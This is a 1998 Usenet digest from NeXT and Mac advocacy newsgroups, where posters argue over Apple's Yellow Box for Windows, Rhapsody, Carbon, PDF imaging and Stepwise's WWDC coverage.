Message-ID: <355C7583.10E568D@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <355C49C2.8D4B8434@milestonerdl.com> <6jhojs$a94$1@crib.bevc.blacksburg.va.us> <355C6B52.816B8599@milestonerdl.com> <6jhul5$an9$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <355C6B52.816B8599@milestonerdl.com>, mark@milestonerdl.com wrote:
> > Nathan Urban wrote:
> > > In article <355C49C2.8D4B8434@milestonerdl.com>, mark@milestonerdl.com wrote:
> > > > Damn straigh. But to say Apple has a future in a long-term cross-platform
> > > > plan, flies in the face of reality.
> > > We're all going to enjoy watching you eat those words. Immensely.
> > Then produce a URL with an offical Apple Statement. I'm hungry.
> Oh, but how much sweeter it will be to see you eat those words when Apple
> actually ships YB/Windows for NT5 or 98.
A 98 might have happened today....if Microsoft was shipping 98 today. (assuming the
rumors were true) Microsoft's position is that Win98 is the end of the line.
Microsoft's position for the future is NT and CE. Apple might have a plan for a
CE-ish environment for YellowBox (handheld macs) and has a plan for NT4. But nothing
announced for future NT....NT5.x is the announced future of NT. Apple should be on
record with a plan for NT 5.x.
> After all, you've told us
> that Apple statements of commitment are not to be trusted. I'm hoping
> that Apple _doesn't_ issue a formal press release, that would be even
> more amusing.
And some people have pondered why, with such a powerful environment as YellowBox, why
no one is flocking there.
With no public committment to a long-term future of YellowBox under NT 5.x, why would
any company concerned about marketshare of their applications would bother to sign on
to YellowBox? None that I can see.
I'm glad to see you are SO petty to damage Apple just to have your petty whims
amused.
From: Brian Vito <bvito@tiac.net>
Newsgroups: comp.sys.next.misc,comp.sys.next.software,comp.sys.next.advocacy
Subject: Installing PPP on OS 4.2 Mach...
Date: Fri, 15 May 1998 16:06:40 -0400
Organization: The Internet Access Company, Inc.
Message-ID: <355CA050.D09155ED@tiac.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
I just bought a copy of OPENSTEP/Mach 4.2 and thought that it was
supposed to come with PPP. I can't seem to fing PPP anywhere on the HD
or on the CD. How do I install PPP (and TCP/IP)? Also, where's
NeXTMail? Thanks so much.
--
"We may only have 10 percent of the market, but quite clearly it's the
top 10 percent."
- Apple Computer, and they're quite right.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 15 May 1998 14:11:25 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6ji0gd$asd$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <355C6B52.816B8599@milestonerdl.com> <6jhul5$an9$1@crib.bevc.blacksburg.va.us> <355C7583.10E568D@milestonerdl.com>
In article <355C7583.10E568D@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > In article <355C6B52.816B8599@milestonerdl.com>, mark@milestonerdl.com wrote:
> > > Nathan Urban wrote:
> > > > In article <355C49C2.8D4B8434@milestonerdl.com>, mark@milestonerdl.com wrote:
> > > > > Damn straigh. But to say Apple has a future in a long-term cross-platform
> > > > > plan, flies in the face of reality.
> > > > We're all going to enjoy watching you eat those words. Immensely.
> > > Then produce a URL with an offical Apple Statement. I'm hungry.
> > Oh, but how much sweeter it will be to see you eat those words when Apple
> > actually ships YB/Windows for NT5 or 98.
> A 98 might have happened today....if Microsoft was shipping 98 today.
I seriously doubt it. I don't think we're going to see YB/Windows
released commercially at all until Rhapsody ships. After all, they're
still working on the Yellow API, it would be stupid to make YB/Windows
incompatible with the Rhapsody that ships in a few months, and market
pressure isn't so urgent that it simply can't wait and must be shipped
now.
Furthermore, do you really think Apple would ship YB/Windows for 98
without having run through tests of it on the official, non-beta release
of Win98??
> > After all, you've told us
> > that Apple statements of commitment are not to be trusted. I'm hoping
> > that Apple _doesn't_ issue a formal press release, that would be even
> > more amusing.
> And some people have pondered why, with such a powerful environment as
> YellowBox, why no one is flocking there.
Yes, but that's completely irrelevant to the discussion at hand.
> With no public committment to a long-term future of YellowBox under NT 5.x,
> why would any company concerned about marketshare of their applications would
> bother to sign on to YellowBox? None that I can see.
> I'm glad to see you are SO petty to damage Apple just to have your petty whims
> amused.
Ha. Because only an _idiot_ would believe that Apple is not going to
ship a NT5/98 version of Windows, it only takes a few moments reflection
to see why they will do this. You are, in fact, the only such that I
have seen express any concern over this.
Besides, I really don't expect that many Windows developers are going to
take a serious look at YB/Windows, with or without a formal commitment
to NT5/98, until they see it succeeding on Apple's _own_ native OS,
adopted by Apple's _own_ development community. By the time that happens,
YB/Windows for 98 will certainly already be shipping. (Don't know
about NT5, what's the timeframe on that? Probably before OS X ships.)
Mac developers know YB will work on the Mac, and are generally bright
enough to figure out that it will work on Windows, too.
Message-ID: <355C8607.5C4FEF28@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104>
<pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <6ja6bu$m3n$1@nnrp1.dejanews.com>
<3559EA9E.3FD91406@spamtoNull.com> <355a8b06.0@news.camtech.net.au>
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Date: Fri, 15 May 1998 18:10:58 GMT
NNTP-Posting-Date: Fri, 15 May 1998 14:10:58 EDT
timothyp@tne.net.au wrote:
>
> Alright, where is your competent Blue Box to compete with Apple's? Surely if
> you are going to rag on Apple's offering of the original Blue Box (which they
> have just extended beyond anyone's expectations) then you at least can tell us
> how you would have made a more competent port? Please point me to your URL for
> this. I'll ring Steve now.
Steve knows....he's *always* known....that's why Mac OS 10 for Q3 1999
was announced.
>
> Bullshit. The Yellow box API's and the maturity of the OS were the reasons.
> Gil Amelio stated so himself just three weeks ago (cant remember the URL
> off-hand). Now go away please, you are really just pissing on the parade.
>
Bullshit back. Your position that the capability of running legacy OS
applications under a mainstream Mac "OS" was unnecessary seems
ridiculous. How is yellow box going to sell a mainstream Mac OS to the
consumer when none of his existing applications would run under it?
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: STEPWISE and Scott Kudos
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355c8968.0@206.25.228.5>
Date: 15 May 98 18:28:56 GMT
I just wanted to say Kudos to Scott for his just unbelievable
coverage of the conference. I've *never* read coverage this good
before. And STEPWISE and everyone there have been doing just great
work in general. I guess it might be time for a server update
though. I'm getting the "temporarily unable to connect" error
message of web success often enough. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 12:16:43 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C787A.2B058D89@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104> <355B1A3C.5955AED1@milestonerdl.com> <6jhtr4$ibt$1@nnrp1.dejanews.com>
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spagiola@my-dejanews.com wrote:
> According to Scott Anguish's detailed WWDC notes:
>
> :: One thing that I do want to note is that it was mentioned on
> :: several occasions that Yellow Box for Windows is a long-term
> :: commitment, and that it will run on Windows 98 and NT 5.0
> :: (if it ever appears). I think it was mentioned that DR2 runs
> :: on the current Windows 98 beta.
>
> See http://www.stepwise.com/SpecialCoverage/WWDC98/index.html
>
> Satisfied?
Not really.If Apple doesn't ship/support NT5.x, they can say "What Proof?" So far
you have a jouralist/developer who said that....and, they arn't company spokesman.
Now, if he can site the session, who said it, produce a paper from Apple, or even
a time stamp in a QT movie where it was said, that's alot closer.
Apple comming out with a press release stating the plan to support NT 5.x would
put an end to it.
Newsgroups: comp.sys.next.advocacy
Subject: Unified Imaging Mode ==? PDF
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355c906a.0@206.25.228.5>
Date: 15 May 98 18:58:50 GMT
Stepwise again has the scoop. (Jeez, Scott is like Stephen King :)
http://www.stepwise.com/SpecialCoverage/WWDC98/Thursday-Graphics.html
PDF as a unified imagine model. My initial reaction is, duh, that makes
sense. Although there will be some WYSIWYG problems with EPS stuff,
perhaps. But still, it's a unified model. No more multitasking/threading
limitations. Allows for non PS printer rasterization with no problems.
Dumping to PS printers is ez. Allowing others to write their own graphics
libraries for games et al. No more licensing fees. The pros far outweigh
the cons.
And apparently Ghostscript had fees associated with it for commercial
software. So there you go.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 11:24:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B181D674-70D08@206.165.43.138>
References: <6jh0vv$1cc$40@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>In <ericb-1405981233430001@132.236.171.104> Eric Bennett wrote:
>
>> I think you should subtract a higher percentage than that for loss of
x86
>> compatibility. Use of QuickDraw in MacOS X is also--to borrow from
>> someone else's similar reaction--nauseating.
>>
>Bollocks.
>
>http://www.stepwise.com/SpecialCoverage/WWDC98/Thursday-
>Graphics.html
>
>
Bollocks?
It completely ignores the issues that GX addresses and provides far fewer
features.
Now THAT is nauseating.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: Fri, 15 May 1998 18:49:26 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ji2nm$qns$1@nnrp1.dejanews.com>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> The one thing I really still miss is the Shelf on the FileBrowser.
> Not having that is a pain in the bottom.
Isn't the filebrowser supposed to be replacable? If so, how hard will it be to
write a replacement that incorporates a shelf?
Or can't you say because of NDA?
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
Subject: Re: Alternatives to Adobe
From: "Robert A. Decker" <comrade@umich.edu>
Newsgroups: comp.sys.next.advocacy
References: <355c8237.0@206.25.228.5>
MIME-Version: 1.0
Message-ID: <B1821B6D-52BA9C@141.214.128.36>
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Date: Fri, 15 May 1998 20:14:54 GMT
NNTP-Posting-Date: Fri, 15 May 1998 16:14:54 EDT
On Fri, May 15, 1998 12:58 PM, John Kheit <mailto:jkheit@xtdl.com> wrote:
> For instance, why not just go to Display
> Ghostscript instead of Quick draw.
What sort of license is associated with Display Ghostscript? Can a
company make money by selling software that uses it?
Even if Apple could use it and still sell the software from what I've
read (at www.gnustep.com or is it .org) Ghostscript has quite a ways to go.
rob
--
<mailto: "Robert A. Decker" comrade@umich.edu>
<http://hmrl.cancer.med.umich.edu/Rob/index.ssi>
Programmer Analyst - Health Media Research Lab
University of Michigan Comprehensive Cancer Center
"Get A Life" quote #4: "I feel like Cinderella in more ways than I care to
go into." -Chris Elliott
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Fri, 15 May 1998 12:48:09 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C7FD9.DA97C55B@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <355C6B52.816B8599@milestonerdl.com> <6jhul5$an9$1@crib.bevc.blacksburg.va.us> <355C7583.10E568D@milestonerdl.com> <6ji0gd$asd$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <355C7583.10E568D@milestonerdl.com>, mark@milestonerdl.com wrote:
> > Nathan Urban wrote:
> > > In article <355C6B52.816B8599@milestonerdl.com>, mark@milestonerdl.com wrote:
> > > > Nathan Urban wrote:
> > > > > In article <355C49C2.8D4B8434@milestonerdl.com>, mark@milestonerdl.com wrote:
> > > > > > Damn straigh. But to say Apple has a future in a long-term cross-platform
> > > > > > plan, flies in the face of reality.
> > > > >We're all going to enjoy watching you eat those words. Immensely.
> > > > Then produce a URL with an offical Apple Statement. I'm hungry.
> > > Oh, but how much sweeter it will be to see you eat those words when Apple
> > > actually ships YB/Windows for NT5 or 98.
> > A 98 might have happened today....if Microsoft was shipping 98 today.
> I seriously doubt it. I don't think we're going to see YB/Windows
> released commercially at all until Rhapsody ships. After all, they're
> still working on the Yellow API, it would be stupid to make YB/Windows
> incompatible with the Rhapsody that ships in a few months, and market
> pressure isn't so urgent that it simply can't wait and must be shipped
> now.
>
> Furthermore, do you really think Apple would ship YB/Windows for 98
> without having run through tests of it on the official, non-beta release
> of Win98??
Reasonable position. Given the Jobs 'pull a rabbit out of the hat' showtricks, a 98-YB
annnouncement today (friday end of WWDC) would fit.
> > And some people have pondered why, with such a powerful environment as
> > YellowBox, why no one is flocking there.
> Yes, but that's completely irrelevant to the discussion at hand.
Is it? If you don't see a long term track for YellowBox (no announced NT 5.x) why choose
it as an environment?
> Ha. Because only an _idiot_ would believe that Apple is not going to
> ship a NT5/98 version of Windows, it only takes a few moments reflection
> to see why they will do this.
And Apple would NEVER work to force people over to PPC boxes, if the oppertunity arrises?
> You are, in fact, the only such that I
> have seen express any concern over this.
Re-examine the thread. There has been 2 people who keep saying a NT 5 plan exists, and
one addl. person in this thread has said that a formal statement by Apple would be nice
to have. (and I believe there was a 3rd who felt there was a plan, then agreeded there
was no formal announcement and therefore was no reason to believe NT5 was a target)
> Besides, I really don't expect that many Windows developers are going to
> take a serious look at YB/Windows, with or without a formal commitment
> to NT5/98, until they see it succeeding on Apple's _own_ native OS,
> adopted by Apple's _own_ development community. By the time that happens,
> YB/Windows for 98 will certainly already be shipping.
And that may be.
> (Don't know
> about NT5, what's the timeframe on that? Probably before OS X ships.)
Shhhhh.*whipsers*
It's behind schedule
At one time, NT5 was going to be in beta 3-4 months ago. The last I saw was 1999. The
1999 date is important to 'fix Y2K bugs' and the 'thousands of bugs in NT4.'
It's even possible that MacOS X will hit before NT 5.
> Mac developers know YB will work on the Mac, and are generally bright
> enough to figure out that it will work on Windows, too.
OpenSTEP worked. Apple is just extending what is known to work.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 15 May 1998 14:56:16 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6ji34g$b0s$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <355C7583.10E568D@milestonerdl.com> <6ji0gd$asd$1@crib.bevc.blacksburg.va.us> <355C7FD9.DA97C55B@milestonerdl.com>
In article <355C7FD9.DA97C55B@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > Furthermore, do you really think Apple would ship YB/Windows for 98
> > without having run through tests of it on the official, non-beta release
> > of Win98??
> Reasonable position.
What's a reasonable position, that they would or wouldn't ship it for 98
without testing it on 98?
> Given the Jobs 'pull a rabbit out of the hat' showtricks, a 98-YB
> annnouncement today (friday end of WWDC) would fit.
I don't think that's much of a trick.
> > > And some people have pondered why, with such a powerful environment as
> > > YellowBox, why no one is flocking there.
> > Yes, but that's completely irrelevant to the discussion at hand.
> Is it? If you don't see a long term track for YellowBox (no announced NT
> 5.x) why choose it as an environment?
The discussion at hand was, "Does Apple have a long-term commitment to
YB/Windows, or YB/Windows on NT5/98?".
> > Ha. Because only an _idiot_ would believe that Apple is not going to
> > ship a NT5/98 version of Windows, it only takes a few moments reflection
> > to see why they will do this.
> And Apple would NEVER work to force people over to PPC boxes, if the
> oppertunity arrises?
I've already explained to you why your proposed bait-and-switch strategy
would never succeed. Do I need to explain it again using words with
fewer syllables or something? You don't seem to get it.
> > You are, in fact, the only such that I
> > have seen express any concern over this.
> Re-examine the thread. There has been 2 people who keep saying a NT 5 plan
> exists, and one addl. person in this thread has said that a formal statement
> by Apple would be nice to have. (and I believe there was a 3rd who felt there
> was a plan, then agreeded there was no formal announcement and therefore was
> no reason to believe NT5 was a target)
Okay, there was one other person out of four (you believe) who doesn't
think NT5 is a target. I wonder if he still believes that, given the
Stepwise reporting?
> > (Don't know
> > about NT5, what's the timeframe on that? Probably before OS X ships.)
> Shhhhh.*whipsers*
> It's behind schedule
> At one time, NT5 was going to be in beta 3-4 months ago. The last I saw was
> 1999. The 1999 date is important to 'fix Y2K bugs' and the 'thousands of
> bugs in NT4.'
> It's even possible that MacOS X will hit before NT 5.
Hmm, okay. Typical Microsoft. :)
> > Mac developers know YB will work on the Mac, and are generally bright
> > enough to figure out that it will work on Windows, too.
> OpenSTEP worked. Apple is just extending what is known to work.
Yeah: OpenStep on Mach and OpenStep on Windows are both known to work.
They're extending both.
Message-ID: <355CA5F5.1DBA84DA@unet.univie.ac.at>
Date: Fri, 15 May 1998 22:30:45 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <see-below-1405982237090001@209.24.240.162> <355c8782.0@206.25.228.5>
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You must have hit them hard, when you ran into them..
No,seriously:
Unix is an option, an additional tool for your convenience.
The same with NSHost and DPS.
The first I never really used, but I really liked the concept behind it.
DPS, talking of the PSWrap part of DPS, I rarely used, but still was happy to
have it.
Is it so painful to know that you are running your Application on a well
conceived system?
And as for your mom: She won't know about TCP/IP, PCI and all that and still
use it.
Just telling her these things exist, would make her giddy, then?
Ordinary users don't care about these intricacies, as long as they are not
confronted with them.And they won't be.
(From a developer's point of view: Why not get ALL the options you can grab
for?)
Christian Benesch
John Kheit wrote:
> see-below@not-my-address.com (Matthew Vaughan) wrote:
> > In article <355af407.0@206.25.228.5>, jkheit@xtdl.com wrote:
> > > I disagree to some extent. To me it seems like some mac users not
> > > only dont want unix, but they don't want others to be able to use
> > > it if they don't. Heaven forbid (i.e. apple) if others might
> > > actually make use of something they don't feel like learning. So
> > > in some twisted fashion and perhaps for reasons of fearing falling
> > > behind in technical prowess they will begrudge others the opportunity
> > > to use better technology.
>
> > What prompts you to say that?
>
> Some users that I run into say stuff like "No, I never want a CLI or unix
> in the macOS, even if I don't have to see it or deal with it."
> --
> Thanks, be well, take care, later, John Kheit; self expressed...
> __________________________________________________________________
> monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
> NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
> Telepathy, It's coming... http://www.xtdl.com/~jkheit
> Franklin Pierce Law Center You're dangerous because you're honest
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: STEPWISE and Scott Kudos
Date: 15 May 1998 14:45:49 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6ji9ht$dtq$1@xmission.xmission.com>
References: <355c8968.0@206.25.228.5>
In comp.sys.next.advocacy John Kheit <jkheit@xtdl.com> wrote:
: I just wanted to say Kudos to Scott for his just unbelievable
: coverage of the conference. I've *never* read coverage this good
: before.
Scott SMOKED the rest of the reporters out there.
RestOfMacMedia.emulateCluefulReporter(scott));
..........................kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: STEPWISE and Scott Kudos
Date: 15 May 1998 20:42:43 GMT
Organization: MiscKit Development
Message-ID: <6ji9c3$6sf$3@news.xmission.com>
References: <355c8968.0@206.25.228.5>
John Kheit <jkheit@xtdl.com> wrote:
> I just wanted to say Kudos to Scott for his just unbelievable
> coverage of the conference. I've *never* read coverage this good
> before. And STEPWISE and everyone there have been doing just great
> work in general. I guess it might be time for a server update
> though. I'm getting the "temporarily unable to connect" error
> message of web success often enough. :)
Well, we HAVE moved most of the graphics to an great off site server with
redundant DS-3 connections to the net. That has helped our bandwidth/server
capability quite a bit...and has also prompted us to do a few more articles
that are richer with graphics; we used to shy away from screen shots, et al,
because of bandwidth concerns.
Though, admittedly, if Stepwise's popularity continues to increase, more
servers will someday be needed. Right now, it seems to be handling the peak
pretty well, and I expect it will settle back down again after WWDC.
Hopefully the new quiescent state will be a higher traffic level than before,
though. :-)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: "Tim Hawkins" <TimHawkins@email.msn.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <joe.ragosta-0605980812110001@wil124.dol.net> <6iq0ur$kkh$1@strato.ultra.net> <see-below-0705980451160001@209.24.240.68> <6it38j$fhc$1@gte2.gte.net> <35521108.667D@CONVEX.COM> <3552159A.F2105167@alum.mit.edu>
Subject: Re: Microsoft's Hypocracy
Date: Fri, 15 May 1998 19:58:24 +0100
Message-ID: <Ox9aARDg9GA.183@upnetnews03>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Eric Hermanson wrote in message <3552159A.F2105167@alum.mit.edu>...
>Microsoft says any Justice Department induced delay of Windows 98 will
bring down the economic structures of the entire World. But,
>at the same time, Microsoft itself delayed (through mismanagement of the
software development cycle) the release of Windows 95 for 2
>years, and Windows NT 4.0 for 4 years. Yet, according to Microsoft, the
market flourished during those delays.
>
>I smell a rat - and it lives in Redmond.
>
>Eric
>
>
If they delayed NT 4.0 for 4 years, then they would have been scheduled to
release it before the release of version 3.5 (the second version of NT), I
dont think even MS plans the release of a products 4th version before the
release of the 2nd. .
From: "Tim Hawkins" <TimHawkins@email.msn.com>
References: <see-below-0705980432050001@209.24.240.68> <6isflb$5tq@shelob.afs.com>
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 15 May 1998 20:01:57 +0100
Message-ID: <#eKPATDg9GA.280@upnetnews03>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Gregory H. Anderson wrote in message <6isflb$5tq@shelob.afs.com>...
>BTW, you gotta love an OS that boots with a desktop full of advertising
>channels. How many people *won't* know how to get rid of that crap, and
>will live with that channels bar until they throw away their computer?
>--
>Gregory H. Anderson | "We're in the land of the blind,
>Visionary Ophthalmologist | selling working eyeballs, and they
>Anderson Financial Systems | balk at the choice of color." -- Tony
>greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
1 Close the channel bar, using the standard top right corner X close box.
2 Anwser no to the dialog box that pops up, saying do you want to load it
again in the future.
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 19:14:12 GMT
Organization: Michigan State University
Message-ID: <6ji464$n8h$1@msunews.cl.msu.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
<Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213>
<EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu>
<Et02r1.4qs@micmac.com>
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Cc: nospam@micmac.com
In <Et02r1.4qs@micmac.com> Michel Coste wrote:
> This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
> (<6jco3t$6ns$3@msunews.cl.msu.edu>) by
> spammers@ruin.the.internet.channelu.com:
>
> > So perhaps this is supposed to make me happy. Why in the heck
> > would I want to write for Carbon when I can write for YB.
>
> Are you drunk or what?????? What do you smoke? banana?
I guess you don't read my other posts. I went a bit off the handle
on what monday or tuesday. But I have learned and come back
on track.
So when I say why would I want to write for Carbon when I can write
for YB what don't you get? It was a statement that since I'm not a
MacOS developer Carbon doesn't have much interest for me.
That it is an attempt by Apple to bring MacOS developers on
board that I do understand - and I have stated this in others posts
publically. Whether it will work I am doubtful, maybe some will
come on board but I doubt the big players with 95/NT versions
will find much interest. Time will tell.
> I'm a NeXTist since a long long time and I don't understand how you
read...
> Carbon is an addition to Rhapsody. It's made to please some Mac
developpers
> not you!!!
> It's clear for everybody with brain at the right place...
> And none of my posts could suggest what you think you read...
I don't want to even bother to review the complete thread on dejanews.
The equation MacOS X = Rhapsody + Carbon (on PPC of course)
is completely correct. Earlier I wasn't sure how Carbon related
to BlueBox or not. Now from what I've seen they are independant
critters. I find it annoying that you'd just slam someone in the way
you have w/o reading my followups.
> Carbon is not made for writing apps... just for already written Mac
apps!
Duh. I already said that from my first post on. Why you take a spin
off this one thing I'll not know.
> > Now if
> > your going to tell me YB on Mach for Intel is dead then I'm going
> > to be a little upset..
>
>
> ???????
>
> If you believe I suggested something akin your delirium, I'm afraid
of your
> reading and understanding abilities!
Why don't you take your snideness and crawl back into your hole?
For all the other folks in this thread I suggest you read Scott
Anguish's
WWDC pages..
http://www.stepwise.com/SpecialCoverage/WWDC98/index.html
Perhaps this will straighten you out. I actually wrote to Scott
yesterday
encouraging him to get a commentary about YB support on Intel (aka
Rhapsody
and 9x/NT). You'll find your answers in those pages. If folks want
to whine
that Apple hasn't made the formal announcement and to put everyone off
from
Rhapsody then go for it. It seems no amount of Reason will stop your
whining.
Frankly I only see slight problems here but nothing major enough for
all
this complaining and promotion of fears..
First Rhapsody PPC/Intel seems to still be on track - though admittedly
very late according to early projections (i.e. Q3 98, vs Jan 1, 98).
Second Apple is very committed to YB - yes you will see 98/NT5
versions/support. We also get a lot of new goodies along with
a native JAVA API.
Third Apple is reaching out to bring MacOS developers on board
with Carbon API's in 3 months, a dev release in 9, and consumer
release in roughly 18.
The only major issues I see are that Apple is going to be late with
Rhapsody, and has some serious problems bringing MacOS developers
on board. Rhapsody will ship, whether MacOS developers finally
get the hint that Apple really wants them - and if they code for YB
rather
than making Apple work on Carbon maybe they would have gotten a YB
for other OS's rather than Carbon. Apple wants everyone shifting to
YB ASAP, Carbon is a olive branch, and I suspect it's a thorn in
Apple's side at this point. They'd much rather be working on YB
ports than Carbon. But they realise they need MacOS apps on
the new MacOS and Carbon is the only way this will happen (they
suppose).
Oh. And YB for now is going to have a $20 licensing fee - but Apple
is committed to releasing a YB w/o any licensing fees. This is why
DPS and some other things are going to be axed.. Adobe is not
cooperating.
So what questions remain to be answered? As to anything about MacOS
X I think we have a pretty clear roadmap. There are only details to
be
worked out at this point. As to Apple's commitment to YB I think it's
pretty
clear they are very committed to YB. Thing is we all know that if
everyone
sticks with Carbon. While YB and YB apps don't come up that big
that Apple may pull back on YB. This is why MacOS folks have to start
shifting to YB and why everyone (especially the YB developers) will
have to try to get their pricing in line to encourage MacOS folks
to
(1) Buy Rhapsody
(2) Buy YB apps
and Apple has to make BlueBox top notch - so it's as good as running
MacOS.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: frank@this.NO_SPAM.net (Frank M. Siegert)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 15 May 1998 21:03:07 GMT
Organization: Frank's Area 51
Message-ID: <6jiaib$dq6$1@news.seicom.net>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com> <355c988e.0@192.33.12.30>
<6ji5h4$s4k@sheepskin.cs.indiana.edu>
Mime-Version: 1.0
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Cc: tsui@cs.indiana.edu
In <6ji5h4$s4k@sheepskin.cs.indiana.edu> Yufeng Tsui wrote:
